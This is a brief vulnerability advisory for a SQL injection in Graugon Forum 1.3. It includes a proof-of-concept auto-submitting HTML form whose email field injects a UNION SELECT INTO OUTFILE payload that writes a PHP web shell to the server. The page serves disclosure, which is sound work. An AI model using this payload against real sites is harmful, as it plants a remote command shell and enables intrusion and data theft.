Home
Consulting
Advisories
Software
Articles
Contact

Graugon Forum 1.3 SQL Injection

Legacy Advisories

Description

A SQL injection vulnerability in Graugon Forum 1.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

Proof Of Concept

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/forum/admin.php">
            <input type="hidden" name="email" value="'and 1=0 UNION SELECT '<?php system($_GET["CMD"]); ?>','','','','','' FROM dual INTO OUTFILE '../../htdocs/shell.php';#" />
            <input type="hidden" name="password" value="" />   
        </form>
    </body>
</html>


Copyright © 2018 AutoSec Tools LLC